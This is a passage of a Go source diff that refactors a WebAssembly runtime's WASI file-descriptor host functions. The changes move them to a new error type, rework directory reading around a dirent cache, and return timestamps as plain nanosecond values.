[]wasm.ValueType{i32, i64}, "fd", "size") -func fdFilestatSetSizeFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdFilestatSetSizeFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fd := int32(params[0]) size := uint32(params[1]) @@ -471,7 +471,7 @@ func fdFilestatSetSizeFn(_ context.Context, mod api.Module, params []uint64) sys // Check to see if the file descriptor is available if f, ok := fsc.LookupFile(fd); !ok { - return syscall.EBADF + return experimentalsys.EBADF } else { return f.File.Truncate(int64(size)) } @@ -487,7 +487,7 @@ var fdFilestatSetTimes = newHostFunc( "fd", "atim", "mtim", "fst_flags", ) -func fdFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fd := int32(params[0]) atim := int64(params[1]) mtim := int64(params[2]) @@ -498,53 +498,58 @@ func fdFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) sy f, ok := fsc.LookupFile(fd) if !ok { - return syscall.EBADF + return experimentalsys.EBADF } - times, errno := toTimes(atim, mtim, fstFlags) + atim, mtim, errno := toTimes(sys.WalltimeNanos, atim, mtim, fstFlags) if errno != 0 { return errno } // Try to update the file timestamps by file-descriptor. - errno = f.File.Utimens(×) + errno = f.File.Utimens(atim, mtim) // Fall back to path based, despite it being less precise. switch errno { - case syscall.EPERM, syscall.ENOSYS: - errno = f.FS.Utimens(f.Name, ×, true) + case experimentalsys.EPERM, experimentalsys.ENOSYS: + errno = f.FS.Utimens(f.Name, atim, mtim) } return errno } -func toTimes(atim, mtime int64, fstFlags uint16) (times [2]syscall.Timespec, errno syscall.Errno) { +func toTimes(walltime func() int64, atim, mtim int64, fstFlags uint16) (int64, int64, experimentalsys.Errno) { // times[0] == atim, times[1] == mtim + var nowTim int64 + // coerce atim into a timespec if set, now := fstFlags&wasip1.FstflagsAtim != 0, fstFlags&wasip1.FstflagsAtimNow != 0; set && now { - errno = syscall.EINVAL - return + return 0, 0, experimentalsys.EINVAL } else if set { - times[0] = syscall.NsecToTimespec(atim) + // atim is already correct } else if now { - times[0].Nsec = sysfs.UTIME_NOW + nowTim = walltime() + atim = nowTim } else { - times[0].Nsec = sysfs.UTIME_OMIT + atim = experimentalsys.UTIME_OMIT } // coerce mtim into a timespec if set, now := fstFlags&wasip1.FstflagsMtim != 0, fstFlags&wasip1.FstflagsMtimNow != 0; set && now { - errno = syscall.EINVAL - return + return 0, 0, experimentalsys.EINVAL } else if set { - times[1] = syscall.NsecToTimespec(mtime) + // mtim is already correct } else if now { - times[1].Nsec = sysfs.UTIME_NOW + if nowTim != 0 { + mtim = nowTim + } else { + mtim = walltime() + } } else { - times[1].Nsec = sysfs.UTIME_OMIT + mtim = experimentalsys.UTIME_OMIT } - return + return atim, mtim, 0 } // fdPread is the WASI function named FdPreadName which reads from a file @@ -559,7 +564,7 @@ var fdPread = newHostFunc( "fd", "iovs", "iovs_len", "offset", "result.nread", ) -func fdPreadFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdPreadFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { return fdReadOrPread(mod, params, true) } @@ -574,8 +579,8 @@ func fdPreadFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` is invalid or the `fd` is not a pre-opened directory -// - syscall.EFAULT: `resultPrestat` points to an offset out of memory +// - sys.EBADF: `fd` is invalid or the `fd` is not a pre-opened directory +// - sys.EFAULT: `resultPrestat` points to an offset out of memory // // prestat byte layout is 8 bytes, beginning with an 8-bit tag and 3 pad bytes. // The only valid tag is `prestat_dir`, which is tag zero. This simplifies the @@ -596,7 +601,7 @@ func fdPreadFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno // https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#prestat var fdPrestatGet = newHostFunc(wasip1.FdPrestatGetName, fdPrestatGetFn, []api.ValueType{i32, i32}, "fd", "result.prestat") -func fdPrestatGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdPrestatGetFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd, resultPrestat := int32(params[0]), uint32(params[1]) @@ -609,7 +614,7 @@ func fdPrestatGetFn(_ context.Context, mod api.Module, params []uint64) syscall. // * Zero-value 8-bit tag, and 3-byte zero-value padding prestat := uint64(len(name) << 32) if !mod.Memory().WriteUint64Le(resultPrestat, prestat) { - return syscall.EFAULT + return experimentalsys.EFAULT } return 0 } @@ -628,9 +633,9 @@ func fdPrestatGetFn(_ context.Context, mod api.Module, params []uint64) syscall. // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` is invalid -// - syscall.EFAULT: `path` points to an offset out of memory -// - syscall.ENAMETOOLONG: `pathLen` is longer than the actual length of the result +// - sys.EBADF: `fd` is invalid +// - sys.EFAULT: `path` points to an offset out of memory +// - sys.ENAMETOOLONG: `pathLen` is longer than the actual length of the result // // For example, the directory name corresponding with `fd` was "/tmp" and // # Parameters path=1 pathLen=4 (correct), this function will write the below to @@ -650,7 +655,7 @@ var fdPrestatDirName = newHostFunc( "fd", "result.path", "result.path_len", ) -func fdPrestatDirNameFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdPrestatDirNameFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd, path, pathLen := int32(params[0]), uint32(params[1]), uint32(params[2]) @@ -661,11 +666,11 @@ func fdPrestatDirNameFn(_ context.Context, mod api.Module, params []uint64) sysc // Some runtimes may have another semantics. See /RATIONALE.md if uint32(len(name)) < pathLen { - return syscall.ENAMETOOLONG + return experimentalsys.ENAMETOOLONG } if !mod.Memory().Write(path, []byte(name)[:pathLen]) { - return syscall.EFAULT + return experimentalsys.EFAULT } return 0 } @@ -682,7 +687,7 @@ var fdPwrite = newHostFunc( "fd", "iovs", "iovs_len", "offset", "result.nwritten", ) -func fdPwriteFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdPwriteFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { return fdWriteOrPwrite(mod, params, true) } @@ -702,9 +707,9 @@ func fdPwriteFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` is invalid -// - syscall.EFAULT: `iovs` or `resultNread` point to an offset out of memory -// - syscall.EIO: a file system error +// - sys.EBADF: `fd` is invalid +// - sys.EFAULT: `iovs` or `resultNread` point to an offset out of memory +// - sys.EIO: a file system error // // For example, this function needs to first read `iovs` to determine where // to write contents. If parameters iovs=1 iovsCount=2, this function reads two @@ -743,12 +748,12 @@ var fdRead = newHostFunc( // preader tracks an offset across multiple reads. type preader struct { - f fsapi.File + f experimentalsys.File offset int64 } -// Read implements the same function as documented on internalapi.File. -func (w *preader) Read(buf []byte) (n int, errno syscall.Errno) { +// Read implements the same function as documented on sys.File. +func (w *preader) Read(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // less overhead on zero-length reads. } @@ -758,11 +763,11 @@ func (w *preader) Read(buf []byte) (n int, errno syscall.Errno) { return n, err } -func fdReadFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdReadFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { return fdReadOrPread(mod, params, false) } -func fdReadOrPread(mod api.Module, params []uint64, isPread bool) syscall.Errno { +func fdReadOrPread(mod api.Module, params []uint64, isPread bool) experimentalsys.Errno { mem := mod.Memory() fsc := mod.(*wasm.ModuleInstance).Sys.FS() @@ -771,9 +776,9 @@ func fdReadOrPread(mod api.Module, params []uint64, isPread bool) syscall.Errno iovsCount := uint32(params[2]) var resultNread uint32 - var reader func(buf []byte) (n int, errno syscall.Errno) + var reader func(buf []byte) (n int, errno experimentalsys.Errno) if f, ok := fsc.LookupFile(fd); !ok { - return syscall.EBADF + return experimentalsys.EBADF } else if isPread { offset := int64(params[3]) reader = (&preader{f: f.File, offset: offset}).Read @@ -788,18 +793,18 @@ func fdReadOrPread(mod api.Module, params []uint64, isPread bool) syscall.Errno return errno } if !mem.WriteUint32Le(resultNread, nread) { - return syscall.EFAULT + return experimentalsys.EFAULT } else { return 0 } } -func readv(mem api.Memory, iovs uint32, iovsCount uint32, reader func(buf []byte) (nread int, errno syscall.Errno)) (uint32, syscall.Errno) { +func readv(mem api.Memory, iovs uint32, iovsCount uint32, reader func(buf []byte) (nread int, errno experimentalsys.Errno)) (uint32, experimentalsys.Errno) { var nread uint32 iovsStop := iovsCount << 3 // iovsCount * 8 iovsBuf, ok := mem.Read(iovs, iovsStop) if !ok { - return 0, syscall.EFAULT + return 0, experimentalsys.EFAULT } for iovsPos := uint32(0); iovsPos < iovsStop; iovsPos += 8 { @@ -812,14 +817,14 @@ func readv(mem api.Memory, iovs uint32, iovsCount uint32, reader func(buf []byte b, ok := mem.Read(offset, l) if !ok { - return 0, syscall.EFAULT + return 0, experimentalsys.EFAULT } n, errno := reader(b) nread += uint32(n) - if errno == syscall.ENOSYS { - return 0, syscall.EBADF // e.g. unimplemented for read + if errno == experimentalsys.ENOSYS { + return 0, experimentalsys.EBADF // e.g. unimplemented for read } else if errno != 0 { return 0, errno } else if n < int(l) { @@ -829,100 +834,125 @@ func readv(mem api.Memory, iovs uint32, iovsCount uint32, reader func(buf []byte return nread, 0 } -// fdReaddir is the WASI function named FdReaddirName which reads directory -// entries from a directory. +// fdReaddir is the WASI function named wasip1.FdReaddirName which reads +// directory entries from a directory. Special behaviors required by this +// function are implemented in sys.DirentCache. // // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_readdirfd-fd-buf-pointeru8-buf_len-size-cookie-dircookie---errno-size +// +// # Result (Errno) +// +// The return value is 0 except the following known error conditions: +// - sys.ENOSYS: the implementation does not support this function. +// - sys.EBADF: the file was closed or not a directory. +// - sys.EFAULT: `buf` or `buf_len` point to an offset out of memory. +// - sys.ENOENT: `cookie` was invalid. +// - sys.EINVAL: `buf_len` was not large enough to write a dirent header. +// +// # End of Directory (EOF) +// +// More entries are available when `result.bufused` == `buf_len`. See +// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#fd_readdir +// https://github.com/WebAssembly/wasi-libc/blob/659ff414560721b1660a19685110e484a081c3d4/libc-bottom-half/cloudlibc/src/libc/dirent/readdir.c#L44 var fdReaddir = newHostFunc( wasip1.FdReaddirName, fdReaddirFn, []wasm.ValueType{i32, i32, i32, i64, i32}, "fd", "buf", "buf_len", "cookie", "result.bufused", ) -func fdReaddirFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdReaddirFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { mem := mod.Memory() fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd := int32(params[0]) buf := uint32(params[1]) bufLen := uint32(params[2]) - // We control the value of the cookie, and it should never be negative. - // However, we coerce it to signed to ensure the caller doesn't manipulate - // it in such a way that becomes negative. - cookie := int64(params[3]) + cookie := params[3] resultBufused := uint32(params[4]) - // The bufLen must be enough to write a dirent. Otherwise, the caller can't - // read what the next cookie is. + // The bufLen must be enough to write a dirent header. if bufLen < wasip1.DirentSize { - return syscall.EINVAL + // This is a bug in the caller, as unless `buf_len` is large enough to + // write a dirent, it can't read the `d_namlen` from it. + return experimentalsys.EINVAL } - // Validate the FD is a directory - f, errno := openedDir(fsc, fd) + // Get or open a dirent cache for this file descriptor. + dir, errno := direntCache(fsc, fd) if errno != 0 { return errno } - // Discard the bool value because we validated the fd already. - dir, errno := fsc.LookupReaddir(fd, f) + + // First, determine the maximum directory entries that can be encoded as + // dirents. The total size is DirentSize(24) + nameSize, for each file. + // Since a zero-length file name is invalid, the minimum size entry is + // 25 (DirentSize + 1 character). + maxDirEntries := bufLen/wasip1.DirentSize + 1 + + // While unlikely maxDirEntries will fit into bufLen, add one more just in + // case, as we need to know if we hit the end of the directory or not to + // write the correct bufused (e.g. == bufLen unless EOF). + // >> If less than the size of the read buffer, the end of the + // >> directory has been reached. + maxDirEntries += 1 + + // Read up to max entries. The underlying implementation will cache these, + // starting at the current location, so that they can be re-read. This is + // important because even the first could end up larger than bufLen due to + // the size of its name. + dirents, errno := dir.Read(cookie, maxDirEntries) if errno != 0 { return errno } - // Validate the cookie and possibly sync the internal state to the one the cookie represents. - if errno = dir.Rewind(cookie); errno != 0 { - return errno - } - // Determine how many dirents we can write, excluding a potentially - // truncated entry. - dirents, bufused, direntCount, writeTruncatedEntry := maxDirents(dir, bufLen) + // Determine how many dirents we can write, including a potentially + // truncated last entry. + bufToWrite, direntCount, truncatedLen := maxDirents(dirents, bufLen) // Now, write entries to the underlying buffer. - if bufused > 0 { - buf, ok := mem.Read(buf, bufused) + if bufToWrite > 0 { + + // d_next is the index of the next file in the list, so it should + // always be one higher than the requested cookie. + d_next := cookie + 1 + // ^^ yes this can overflow to negative, which means our implementation + // doesn't support writing greater than max int64 entries. + + buf, ok := mem.Read(buf, bufToWrite) if !ok { - return syscall.EFAULT + return experimentalsys.EFAULT } - // Iterate again on dir, this time writing the entries. - writeDirents(dirents, direntCount, writeTruncatedEntry, buf, uint64(cookie+1)) + writeDirents(buf, dirents, d_next, direntCount, truncatedLen) + } + + // bufused == bufLen means more dirents exist, which is the case when one + // is truncated. + bufused := bufToWrite + if truncatedLen > 0 { + bufused = bufLen } if !mem.WriteUint32Le(resultBufused, bufused) { - return syscall.EFAULT + return experimentalsys.EFAULT } return 0 } const largestDirent = int64(math.MaxUint32 - wasip1.DirentSize) -// maxDirents returns the maximum count and total entries that can fit in -// maxLen bytes. +// maxDirents returns the dirents to write. // -// truncatedEntryLen is the amount of bytes past bufLen needed to write the -// next entry. We have to return bufused == bufLen unless the directory is -// exhausted. -// -// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#fd_readdir -// See https://github.com/WebAssembly/wasi-libc/blob/659ff414560721b1660a19685110e484a081c3d4/libc-bottom-half/cloudlibc/src/libc/dirent/readdir.c#L44 -func maxDirents(dir *sys.Readdir, bufLen uint32) (dirents []fsapi.Dirent, bufused, direntCount uint32, writeTruncatedEntry bool) { +// `bufToWrite` is the amount of memory needed to write direntCount, which +// includes up to wasip1.DirentSize of a last truncated entry. +func maxDirents(dirents []experimentalsys.Dirent, bufLen uint32) (bufToWrite uint32, direntCount int, truncatedLen uint32) { lenRemaining := bufLen - for { - d, errno := dir.Peek() - if errno != 0 { - return - } - dirents = append(dirents, *d) - - if lenRemaining < wasip1.DirentSize { - // We don't have enough space in bufLen for another struct, - // entry. A caller who wants more will retry. - - // bufused == bufLen means more dirents exist, which is the case - // when the dirent is larger than bytes remaining. - bufused = bufLen + for i := range dirents { + if lenRemaining == 0 { break } + d := dirents[i] + direntCount++ // use int64 to guard against huge filenames nameLen := int64(len(d.Name)) @@ -945,64 +975,55 @@ func maxDirents(dir *sys.Readdir, bufLen uint32) (dirents []fsapi.Dirent, bufuse // we need to write DirentSize(24) + 4096 bytes to write the entry. // In this case, we only write up to DirentSize(24) to allow the // caller to resize. - - // bufused == bufLen means more dirents exist, which is the case - // when the next entry is larger than bytes remaining. - bufused = bufLen - - // We do have enough space to write the header, this value will be - // passed on to writeDirents to only write the header for this entry. - writeTruncatedEntry = true + if lenRemaining >= wasip1.DirentSize { + truncatedLen = wasip1.DirentSize + } else { + truncatedLen = lenRemaining + } + bufToWrite += truncatedLen break } // This won't go negative because we checked entryLen <= lenRemaining. lenRemaining -= entryLen - bufused += entryLen - direntCount++ - _ = dir.Advance() + bufToWrite += entryLen } return } // writeDirents writes the directory entries to the buffer, which is pre-sized -// based on maxDirents. truncatedEntryLen means write one past entryCount, -// without its name. See maxDirents for why -func writeDirents( - dirents []fsapi.Dirent, - direntCount uint32, - writeTruncatedEntry bool, - buf []byte, - d_next uint64, -) { - pos, i := uint32(0), uint32(0) - for ; i < direntCount; i++ { +// based on maxDirents. truncatedEntryLen means the last is written without its +// name. +func writeDirents(buf []byte, dirents []experimentalsys.Dirent, d_next uint64, direntCount int, truncatedLen uint32) { + pos := uint32(0) + skipNameI := -1 + + // If the last entry was truncated, we either skip it or write it without + // its name, depending on the length. + if truncatedLen > 0 { + if truncatedLen < wasip1.DirentSize { + direntCount-- // skip as too small to write the header. + } else { + skipNameI = direntCount - 1 // write the header, but not the name. + } + } + + for i := 0; i < direntCount; i++ { e := dirents[i] nameLen := uint32(len(e.Name)) - writeDirent(buf[pos:], d_next, e.Ino, nameLen, e.Type) - pos += wasip1.DirentSize - - copy(buf[pos:], e.Name) - pos += nameLen d_next++ - } + pos += wasip1.DirentSize - if !writeTruncatedEntry { - return + if i != skipNameI { + copy(buf[pos:], e.Name) + pos += nameLen + } } - - // Write a dirent without its name - dirent := make([]byte, wasip1.DirentSize) - e := dirents[i] - writeDirent(dirent, d_next, e.Ino, uint32(len(e.Name)), e.Type) - - // Potentially truncate it - copy(buf[pos:], dirent) } // writeDirent writes DirentSize bytes -func writeDirent(buf []byte, dNext uint64, ino uint64, dNamlen uint32, dType fs.FileMode) { +func writeDirent(buf []byte, dNext uint64, ino sysapi.Inode, dNamlen uint32, dType fs.FileMode) { le.PutUint64(buf, dNext) // d_next le.PutUint64(buf[8:], ino) // d_ino le.PutUint32(buf[16:], dNamlen) // d_namlen @@ -1010,22 +1031,23 @@ func writeDirent(buf []byte, dNext uint64, ino uint64, dNamlen uint32, dType fs. le.PutUint32(buf[20:], uint32(filetype)) // d_type } -// openedDir returns the sys.FileEntry for the directory and 0 if the fd points to a readable directory. -func openedDir(fsc *sys.FSContext, fd int32) (*sys.FileEntry, syscall.Errno) { +// direntCache lazy opens a sys.DirentCache for this directory or returns an +// error. +func direntCache(fsc *sys.FSContext, fd int32) (*sys.DirentCache, experimentalsys.Errno) { if f, ok := fsc.LookupFile(fd); !ok { - return nil, syscall.EBADF - } else if isDir, errno := f.File.IsDir(); errno != 0 { - return nil, errno - } else if !isDir { - // fd_readdir docs don't indicate whether to return syscall.ENOTDIR or - // syscall.EBADF. It has been noticed that rust will crash on syscall.ENOTDIR, + return nil, experimentalsys.EBADF + } else if dir, errno := f.DirentCache(); errno == 0 { + return dir, 0 + } else if errno == experimentalsys.ENOTDIR { + // fd_readdir docs don't indicate whether to return sys.ENOTDIR or + // sys.EBADF. It has been noticed that rust will crash on sys.ENOTDIR, // and POSIX C ref seems to not return this, so we don't either. // // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#fd_readdir // and https://en.wikibooks.org/wiki/C_Programming/POSIX_Reference/dirent.h - return nil, syscall.EBADF + return nil, experimentalsys.EBADF } else { - return f, 0 + return nil, errno } } @@ -1035,7 +1057,7 @@ func openedDir(fsc *sys.FSContext, fd int32) (*sys.FileEntry, syscall.Errno) { // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_renumberfd-fd-to-fd---errno var fdRenumber = newHostFunc(wasip1.FdRenumberName, fdRenumberFn, []wasm.ValueType{i32, i32}, "fd", "to") -func fdRenumberFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdRenumberFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() from := int32(params[0]) @@ -1065,11 +1087,11 @@ func fdRenumberFn(_ context.Context, mod api.Module, params []uint64) syscall.Er // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` is invalid -// - syscall.EFAULT: `resultNewoffset` points to an offset out of memory -// - syscall.EINVAL: `whence` is an invalid value -// - syscall.EIO: a file system error -// - syscall.EISDIR: the file was a directory. +// - sys.EBADF: `fd` is invalid +// - sys.EFAULT: `resultNewoffset` points to an offset out of memory +// - sys.EINVAL: `whence` is an invalid value +// - sys.EIO: a file system error +// - sys.EISDIR: the file was a directory. // // For example, if fd 3 is a file with offset 0, and parameters fd=3, offset=4, // whence=0 (=io.SeekStart), resultNewOffset=1, this function writes the below @@ -1091,7 +1113,7 @@ var fdSeek = newHostFunc( "fd", "offset", "whence", "result.newoffset", ) -func fdSeekFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdSeekFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd := int32(params[0]) offset := params[1] @@ -1099,13 +1121,13 @@ func fdSeekFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno resultNewoffset := uint32(params[3]) if f, ok := fsc.LookupFile(fd); !ok { - return syscall.EBADF + return experimentalsys.EBADF } else if isDir, _ := f.File.IsDir(); isDir { - return syscall.EISDIR // POSIX doesn't forbid seeking a directory, but wasi-testsuite does. + return experimentalsys.EISDIR // POSIX doesn't forbid seeking a directory, but wasi-testsuite does. } else if newOffset, errno := f.File.Seek(int64(offset), int(whence)); errno != 0 { return errno } else if !mod.Memory().WriteUint64Le(resultNewoffset, uint64(newOffset)) { - return syscall.EFAULT + return experimentalsys.EFAULT } return 0 } @@ -1116,13 +1138,13 @@ func fdSeekFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_syncfd-fd---errno var fdSync = newHostFunc(wasip1.FdSyncName, fdSyncFn, []api.ValueType{i32}, "fd") -func fdSyncFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdSyncFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd := int32(params[0]) // Check to see if the file descriptor is available if f, ok := fsc.LookupFile(fd); !ok { - return syscall.EBADF + return experimentalsys.EBADF } else { return f.File.Sync() } @@ -1134,7 +1156,7 @@ func fdSyncFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_tellfd-fd---errno-filesize var fdTell = newHostFunc(wasip1.FdTellName, fdTellFn, []api.ValueType{i32, i32}, "fd", "result.offset") -func fdTellFn(ctx context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdTellFn(ctx context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fd := params[0] offset := uint64(0) whence := uint64(io.SeekCurrent) @@ -1161,9 +1183,9 @@ func fdTellFn(ctx context.Context, mod api.Module, params []uint64) syscall.Errn // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` is invalid -// - syscall.EFAULT: `iovs` or `resultNwritten` point to an offset out of memory -// - syscall.EIO: a file system error +// - sys.EBADF: `fd` is invalid +// - sys.EFAULT: `iovs` or `resultNwritten` point to an offset out of memory +// - sys.EIO: a file system error // // For example, this function needs to first read `iovs` to determine what to // write to `fd`. If parameters iovs=1 iovsCount=2, this function reads two @@ -1208,18 +1230,18 @@ var fdWrite = newHostFunc( "fd", "iovs", "iovs_len", "result.nwritten", ) -func fdWriteFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdWriteFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { return fdWriteOrPwrite(mod, params, false) } // pwriter tracks an offset across multiple writes. type pwriter struct { - f fsapi.File + f experimentalsys.File offset int64 } -// Write implements the same function as documented on internalapi.File. -func (w *pwriter) Write(buf []byte) (n int, errno syscall.Errno) { +// Write implements the same function as documented on sys.File. +func (w *pwriter) Write(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // less overhead on zero-length writes. } @@ -1229,7 +1251,7 @@ func (w *pwriter) Write(buf []byte) (n int, errno syscall.Errno) { return n, err } -func fdWriteOrPwrite(mod api.Module, params []uint64, isPwrite bool) syscall.Errno { +func fdWriteOrPwrite(mod api.Module, params []uint64, isPwrite bool) experimentalsys.Errno { mem := mod.Memory() fsc := mod.(*wasm.ModuleInstance).Sys.FS() @@ -1238,9 +1260,9 @@ func fdWriteOrPwrite(mod api.Module, params []uint64, isPwrite bool) syscall.Err iovsCount := uint32(params[2]) var resultNwritten uint32 - var writer func(buf []byte) (n int, errno syscall.Errno) + var writer func(buf []byte) (n int, errno experimentalsys.Errno) if f, ok := fsc.LookupFile(fd); !ok { - return syscall.EBADF + return experimentalsys.EBADF } else if isPwrite { offset := int64(params[3]) writer = (&pwriter{f: f.File, offset: offset}).Write @@ -1256,17 +1278,17 @@ func fdWriteOrPwrite(mod api.Module, params []uint64, isPwrite bool) syscall.Err } if !mod.Memory().WriteUint32Le(resultNwritten, nwritten) { - return syscall.EFAULT + return experimentalsys.EFAULT } return 0 } -func writev(mem api.Memory, iovs uint32, iovsCount uint32, writer func(buf []byte) (n int, errno syscall.Errno)) (uint32, syscall.Errno) { +func writev(mem api.Memory, iovs uint32, iovsCount uint32, writer func(buf []byte) (n int, errno experimentalsys.Errno)) (uint32, experimentalsys.Errno) { var nwritten uint32 iovsStop := iovsCount << 3 // iovsCount * 8 iovsBuf, ok := mem.Read(iovs, iovsStop) if !ok { - return 0, syscall.EFAULT + return 0, experimentalsys.EFAULT } for iovsPos := uint32(0); iovsPos < iovsStop; iovsPos += 8 { @@ -1275,12 +1297,12 @@ func writev(mem api.Memory, iovs uint32, iovsCount uint32, writer func(buf []byt b, ok := mem.Read(offset, l) if !ok { - return 0, syscall.EFAULT + return 0, experimentalsys.EFAULT } n, errno := writer(b) nwritten += uint32(n) - if errno == syscall.ENOSYS { - return 0, syscall.EBADF // e.g. unimplemented for write + if errno == experimentalsys.ENOSYS { + return 0, experimentalsys.EBADF // e.g. unimplemented for write } else if errno != 0 { return 0, errno } @@ -1300,9 +1322,9 @@ func writev(mem api.Memory, iovs uint32, iovsCount uint32, writer func(buf []byt // # Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` is invalid -// - syscall.ENOENT: `path` does not exist. -// - syscall.ENOTDIR: `path` is a file +// - sys.EBADF: `fd` is invalid +// - sys.ENOENT: `path` does not exist. +// - sys.ENOTDIR: `path` is a file // // # Notes // - This is similar to mkdirat in POSIX. @@ -1315,7 +1337,7 @@ var pathCreateDirectory = newHostFunc( "fd", "path", "path_len", ) -func pathCreateDirectoryFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func pathCreateDirectoryFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd := int32(params[0]) @@ -1348,13 +1370,13 @@ func pathCreateDirectoryFn(_ context.Context, mod api.Module, params []uint64) s // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` is invalid -// - syscall.ENOTDIR: `fd` points to a file not a directory -// - syscall.EIO: could not stat `fd` on filesystem -// - syscall.EINVAL: the path contained "../" -// - syscall.ENAMETOOLONG: `path` + `path_len` is out of memory -// - syscall.EFAULT: `resultFilestat` points to an offset out of memory -// - syscall.ENOENT: could not find the path +// - sys.EBADF: `fd` is invalid +// - sys.ENOTDIR: `fd` points to a file not a directory +// - sys.EIO: could not stat `fd` on filesystem +// - sys.EINVAL: the path contained "../" +// - sys.ENAMETOOLONG: `path` + `path_len` is out of memory +// - sys.EFAULT: `resultFilestat` points to an offset out of memory +// - sys.ENOENT: could not find the path // // The rest of this implementation matches that of fdFilestatGet, so is not // repeated here. @@ -1368,7 +1390,7 @@ var pathFilestatGet = newHostFunc( "fd", "flags", "path", "path_len", "result.filestat", ) -func pathFilestatGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func pathFilestatGetFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd := int32(params[0]) @@ -1382,7 +1404,7 @@ func pathFilestatGetFn(_ context.Context, mod api.Module, params []uint64) sysca } // Stat the file without allocating a file descriptor. - var st fsapi.Stat_t + var st sysapi.Stat_t if (flags & wasip1.LOOKUP_SYMLINK_FOLLOW) == 0 { st, errno = preopen.Lstat(pathName) @@ -1397,7 +1419,7 @@ func pathFilestatGetFn(_ context.Context, mod api.Module, params []uint64) sysca resultBuf := uint32(params[4]) buf, ok := mod.Memory().Read(resultBuf, 64) if !ok { - return syscall.EFAULT + return experimentalsys.EFAULT } filetype := getWasiFiletype(st.Mode) @@ -1414,7 +1436,7 @@ var pathFilestatSetTimes = newHostFunc( "fd", "flags", "path", "path_len", "atim", "mtim", "fst_flags", ) -func pathFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func pathFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fd := int32(params[0]) flags := uint16(params[1]) path := uint32(params[2]) @@ -1426,7 +1448,7 @@ func pathFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) sys := mod.(*wasm.ModuleInstance).Sys fsc := sys.FS() - times, errno := toTimes(atim, mtim, fstFlags) + atim, mtim, errno := toTimes(sys.WalltimeNanos, atim, mtim, fstFlags) if errno != 0 { return errno } @@ -1437,7 +1459,16 @@ func pathFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) } symlinkFollow := flags&wasip1.LOOKUP_SYMLINK_FOLLOW != 0 - return preopen.Utimens(pathName, ×, symlinkFollow) + if symlinkFollow { + return preopen.Utimens(pathName, atim, mtim) + } + // Otherwise, we need to emulate don't follow by opening the file by path. + if f, errno := preopen.OpenFile(pathName, syscall.O_WRONLY, 0); errno != 0 { + return errno + } else { + defer f.Close() + return f.Utimens(atim, mtim) + } } // pathLink is the WASI function named PathLinkName which adjusts the @@ -1450,7 